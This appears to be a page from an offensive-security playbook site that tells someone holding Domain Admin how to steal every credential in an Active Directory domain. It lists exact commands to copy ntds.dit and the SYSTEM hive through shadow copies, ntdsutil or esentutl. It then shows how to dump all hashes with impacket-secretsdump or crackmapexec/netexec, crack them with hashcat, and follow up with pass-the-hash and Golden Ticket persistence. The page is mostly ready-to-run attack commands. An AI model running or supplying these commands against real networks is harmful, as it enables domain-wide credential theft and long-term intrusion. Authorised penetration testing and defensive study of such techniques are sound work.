OPSECTLAS you are here: Domain Admin
next-move engine

You have Domain Admin

2 high-yield moves from here, ordered the way the engagement runs. Open any move to see the exact commands.

  1. needsDomain Admin
    yieldsNT hashkrbtgt hash
    toolsimpacketcrackmapexec
    What it is

    Every credential in the domain lives in one file on each Domain Controller: C:\Windows\NTDS\ntds.dit. With Domain Admin, or admin rights on a DC, you copy that database and the SYSTEM registry hive, then pull every hash offline. It is the on-disk counterpart to DCSync: where DCSync copies the hashes over the network through the replication protocol, NTDS extraction takes the whole database off the box · louder, but total, and it works even when replication is locked down.

    Requirements

    Domain Admin, or administrative access to a Domain Controller. The live ntds.dit is locked while AD runs, so every method reads it through a Volume Shadow Copy or a built-in export, never a plain copy.

    Method 1 · Volume Shadow Copy: snapshot C:, then copy the two locked files out

    vssadmin create shadow /for=C:

    note the "Shadow Copy Volume Name" it prints (HarddiskVolumeShadowCopyN), then:

    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
    vssadmin delete shadows /for=C: /quiet

    Method 2 · ntdsutil IFM: one built-in command writes both files

    ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds" quit quit

    output: C:\temp\ntds\Active Directory\ntds.dit and C:\temp\ntds\registry\SYSTEM

    Method 3 · esentutl via VSS: copy the live database directly

    esentutl.exe /y /vss C:\Windows\NTDS\ntds.dit /d C:\temp\ntds.dit

    Extract every hash offline, on your box, once you have ntds.dit + SYSTEM

    impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
    impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL -just-dc-user krbtgt

    Or pull it straight from the DC over SMB (admin on the DC, no manual copy)

    crackmapexec smb <DC-IP> -u <USER> -p <PASS> --ntds
    netexec smb <DC-IP> -u <USER> -H <NTLM-HASH> --ntds

    Same endgame as DCSync, once you hold the hashes:

    1. Crack the NTLM hashes: hashcat -m 1000 ntds.hashes rockyou.txt

    2. Pass-the-Hash with the Administrator hash across the domain

    3. krbtgt hash -> forge a Golden Ticket for long-term domain persistence

    Cleanup

    delete the shadow copy and securely wipe the exported ntds.dit and SYSTEM from the DC and your staging path · that one file is every credential in the domain, and leaving it behind is itself the finding.